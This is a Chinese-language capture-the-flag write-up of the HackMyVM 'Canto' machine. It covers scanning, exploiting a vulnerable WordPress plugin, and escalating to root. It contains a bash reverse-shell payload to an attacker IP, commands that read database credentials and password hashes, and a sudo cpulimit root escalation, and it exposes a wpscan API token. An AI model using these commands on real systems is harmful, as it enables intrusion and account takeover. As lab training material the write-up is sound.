<h1>Canto.</h1>
<blockquote>
<a href="https://hackmyvm.eu/machines/machine.php?vm=Canto">https://hackmyvm.eu/machines/machine.php?vm=Canto</a>
</blockquote>
notes：Enjoy it!! ;)
<h2>前期踩点</h2>
<pre><code class="hljs language-bash">➜ Canto nmap -sP 192.168.56.0/24 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-15 22:50 EDT
Nmap scan report for 192.168.56.1
Host is up (0.00019s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00012s latency).
MAC Address: 08:00:27:05:4E:40 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.61
Host is up (0.00022s latency).
MAC Address: 08:00:27:80:95:AF (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.97 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Canto nmap -sT -min-rate 10000 -p- 192.168.56.61 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-15 22:52 EDT
Nmap scan report for 192.168.56.61
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:80:95:AF (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.09 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Canto nmap -sT -A -T4 -O -p 22,80 192.168.56.61 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-15 22:54 EDT
Nmap scan report for 192.168.56.61
Host is up (0.0013s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.3p1 Ubuntu 1ubuntu3.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 256 c6:af:18:21:fa:3f:3c:fc:9f:e4:ef:04:c9:16:cb:c7 (ECDSA)
|_ 256 ba:0e:8f:0b:24:20:dc:75:b7:1b:04:a1:81:b6:6d:64 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Ubuntu))
|_http-generator: WordPress 6.5.3
|_http-server-header: Apache/2.4.57 (Ubuntu)
|_http-title: Canto
MAC Address: 08:00:27:80:95:AF (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 1.31 ms 192.168.56.61
</code></pre>
<h2>Web 渗透</h2>
<h3>信息收集</h3>
访问主页，使用 <code>WordPress</code> 构建的
<img src="/post-images/HackMyVMCanto/image.png" alt="image.png">
使用 <code>wpscan</code> 进行针对性扫描
<pre><code class="hljs language-bash">➜ Canto wpscan --url 192.168.56.61 --api-token bOauzGNYvhy6BU3DlHGCMVZmWJDqZH5tuFoHfsdk91o -e u,ap --plugins-detection mixed
_______________________________________________________________
 __ _______ _____
 \ \ / / __ \ / ____|
 \ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
 \ \/ \/ / | ___/ \___ \ / __|/ _` | ''_ \
 \ /\ / | | ____) | (__| (_| | | | |
 \/ \/ |_| |_____/ \___|\__,_|_| |_|

 WordPress Security Scanner by the WPScan Team
 Version 3.8.27
 Sponsored by Automattic - https://automattic.com/
 @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.56.61/ [192.168.56.61]
[+] Started: Thu May 15 22:56:42 2025
.....
[+] WordPress version 6.5.3 identified (Insecure, released on 2024-05-07).
 | Found By: Rss Generator (Passive Detection)
 | - http://192.168.56.61/index.php/feed/, &#x3C;generator>https://wordpress.org/?v=6.5.3&#x3C;/generator>
 | - http://192.168.56.61/index.php/comments/feed/, &#x3C;generator>https://wordpress.org/?v=6.5.3&#x3C;/generator>
 |
 | [!] 3 vulnerabilities identified:
 |
 | [!] Title: WordPress &#x3C; 6.5.5 - Contributor+ Stored XSS in HTML API
 | Fixed in: 6.5.5
 | References:
 | - https://wpscan.com/vulnerability/2c63f136-4c1f-4093-9a8c-5e51f19eae28
 | - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress &#x3C; 6.5.5 - Contributor+ Stored XSS in Template-Part Block
 | Fixed in: 6.5.5
 | References:
 | - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
 | - https://wordpress.org/news/2024/06/wordpress-6-5-5/
 |
 | [!] Title: WordPress &#x3C; 6.5.5 - Contributor+ Path Traversal in Template-Part Block
 | Fixed in: 6.5.5
 | References:
 | - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
 | - https://wordpress.org/news/2024/06/wordpress-6-5-5/

 [+] WordPress theme in use: twentytwentyfour
 | Location: http://192.168.56.61/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://192.168.56.61/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.3
 | [!] Directory listing is enabled
 | Style URL: http://192.168.56.61/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 ....
 [+] Enumerating All Plugins (via Passive and Aggressive Methods) 
 [+] canto
 | Location: http://192.168.56.61/wp-content/plugins/canto/
 | Last Updated: 2025-04-10T07:17:00.000Z
 | Readme: http://192.168.56.61/wp-content/plugins/canto/readme.txt
 | [!] The version is out of date, the latest version is 3.1.0
 |
 | Found By: Known Locations (Aggressive Detection)
 | - http://192.168.56.61/wp-content/plugins/canto/, status: 200
 |
 | [!] 4 vulnerabilities identified:
 |
 | [!] Title: Canto &#x3C; 3.0.9 - Unauthenticated Blind SSRF
 | Fixed in: 3.0.9
 | References:
 | - https://wpscan.com/vulnerability/29c89cc9-ad9f-4086-a762-8896eba031c6
 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28976
 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28977
 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28978
 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24063
 | - https://gist.github.com/p4nk4jv/87aebd999ce4b28063943480e95fd9e0
 |
 | [!] Title: Canto &#x3C; 3.0.5 - Unauthenticated Remote File Inclusion
 | Fixed in: 3.0.5
 | References:
 | - https://wpscan.com/vulnerability/9e2817c7-d4aa-4ed9-a3d7-18f3117ed810
 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-3452
 |
 | [!] Title: Canto &#x3C; 3.0.7 - Unauthenticated RCE
 | Fixed in: 3.0.7
 | References:
 | - https://wpscan.com/vulnerability/1595af73-6f97-4bc9-9cb2-14a55daaa2d4
 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25096
 | - https://patchstack.com/database/vulnerability/canto/wordpress-canto-plugin-3-0-6-unauthenticated-remote-code-execution-rce-vulnerability
 |
 | [!] Title: Canto &#x3C; 3.0.9 - Unauthenticated Remote File Inclusion
 | Fixed in: 3.0.9
 | References:
 | - https://wpscan.com/vulnerability/3ea53721-bdf6-4203-b6bc-2565d6283159
 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-4936
 | [!] Title: Canto &#x3C; 3.0.9 - Unauthenticated Remote File Inclusion
 | Fixed in: 3.0.9
 | References:
 | - https://wpscan.com/vulnerability/3ea53721-bdf6-4203-b6bc-2565d6283159
 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-4936
 | - https://www.wordfence.com/threat-intel/vulnerabilities/id/95a68ae0-36da-499b-a09d-4c91db8aa338 
 |
 | Version: 3.0.4 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 | - http://192.168.56.61/wp-content/plugins/canto/readme.txt
 | Confirmed By: Composer File (Aggressive Detection)
 | - http://192.168.56.61/wp-content/plugins/canto/package.json, Match: ''3.0.4'
</code></pre>
扫描出好几个漏洞，其中插件 <code>Canto</code> 存在 <code>RCE</code> 漏洞
<h3>Canto RCE - CVE-2023-3452</h3>
<a href="https://github.com/leoanggal1/CVE-2023-3452-PoC">https://github.com/leoanggal1/CVE-2023-3452-PoC</a>
<img src="/post-images/HackMyVMCanto/image1.png" alt="image.png">
进行反弹 <code>shell</code>
<pre><code class="hljs language-bash">%2Fbin%2Fbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.56.4%2F1234+0%3E%261%27
</code></pre>
<img src="/post-images/HackMyVMCanto/image2.png" alt="image.png">
<h2>提权 - To Erik</h2>
<h3>信息收集</h3>
查看配置文件 <code>wp-config.php</code>
<pre><code class="hljs language-bash">/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' ); 
/** Database username */
define( 'DB_USER', 'wordpress' );
 
/** Database password */ 
define( 'DB_PASSWORD', '2NCVjoWVE9iwxPz' );
</code></pre>
<code>mysql</code> 数据收集
<pre><code class="hljs language-bash">www-data@canto:/var/www/html$ mysql -uwordpress -p
Enter password: 
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 69
Server version: 8.0.36-0ubuntu0.23.10.1 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 
</code></pre>
<pre><code class="hljs language-bash">mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+----------------+---------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+----------------+---------------------+---------------------+---------------------+-------------+--------------+
| 1 | erik | $P$BZk2jE4XrC91HKgRS83h0gICjM0bcB. | erik | test@gmail.com | http://192.168.1.36 | 2024-05-12 11:16:07 | | 0 | erik |
+----+------------+------------------------------------+---------------+----------------+---------------------+---------------------+---------------------+-------------+--------------+
1 row in set (0.00 sec)
</code></pre>
使用 <code>John</code> 进行爆破无果
<code>在erik用户家目录能找到</code> <code>notes</code> 文件夹
<pre><code class="hljs language-bash">www-data@canto:/home/erik/notes$ ls -al
total 16
drwxrwxr-x 2 erik erik 4096 May 12 2024 .
drwxr-xr-- 5 erik www-data 4096 May 12 2024 ..
-rw-rw-r-- 1 erik erik 68 May 12 2024 Day1.txt
-rw-rw-r-- 1 erik erik 71 May 12 2024 Day2.txt
www-data@canto:/home/erik/notes$ cat Day
cat: Day: No such file or directory
www-data@canto:/home/erik/notes$ cat Day1.txt 
On the first day I have updated some plugins and the website theme.
www-data@canto:/home/erik/notes$ cat Day2.txt 
I almost lost the database with my user so I created a backups folder.
</code></pre>
寻找 <code>backups</code> 文件夹
<pre><code class="hljs language-bash">www-data@canto:/home/erik$ find / -name backups 2>/dev/null
/snap/core22/1380/var/backups
/snap/core22/864/var/backups
/var/backups
/var/wordpress/backups
</code></pre>
<code>下面存在一个txt文件，里面是</code> <code>erik</code> 用户的密码
<pre><code class="hljs language-bash">www-data@canto:/var/wordpress/backups$ cat 12052024.txt 
------------------------------------
| Users | Password |
------------|----------------------|
| erik | th1sIsTheP3ssw0rd! |
------------------------------------
</code></pre>
<pre><code class="hljs language-bash">erik@canto:~$ cat user.txt 
d41d8cd98f00b204e9800998ecf8427e
</code></pre>
<h2>提权 - To Root</h2>
查看 <code>sudo</code> 权限
<pre><code class="hljs language-bash">erik@canto:~$ sudo -l
Matching Defaults entries for erik on canto:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
 use_pty

User erik may run the following commands on canto:
 (ALL : ALL) NOPASSWD: /usr/bin/cpulimit
</code></pre>
<a href="https://gtfobins.github.io/gtfobins/cpulimit/">https://gtfobins.github.io/gtfobins/cpulimit/</a>
<img src="/post-images/HackMyVMCanto/image3.png" alt="image.png">
<pre><code class="hljs language-bash">erik@canto:~$ sudo cpulimit -l 100 -f /bin/sh
Process 1300 detected
# id
uid=0(root) gid=0(root) groups=0(root)
</code></pre>
<pre><code class="hljs language-bash"># cat root.txt
1b56eefaab2c896e57c874a635b24b49
</code></pre>

HackMyVM - Canto

HackTheBox - Machine - Developer

HackTheBox - Machine - TwoMillion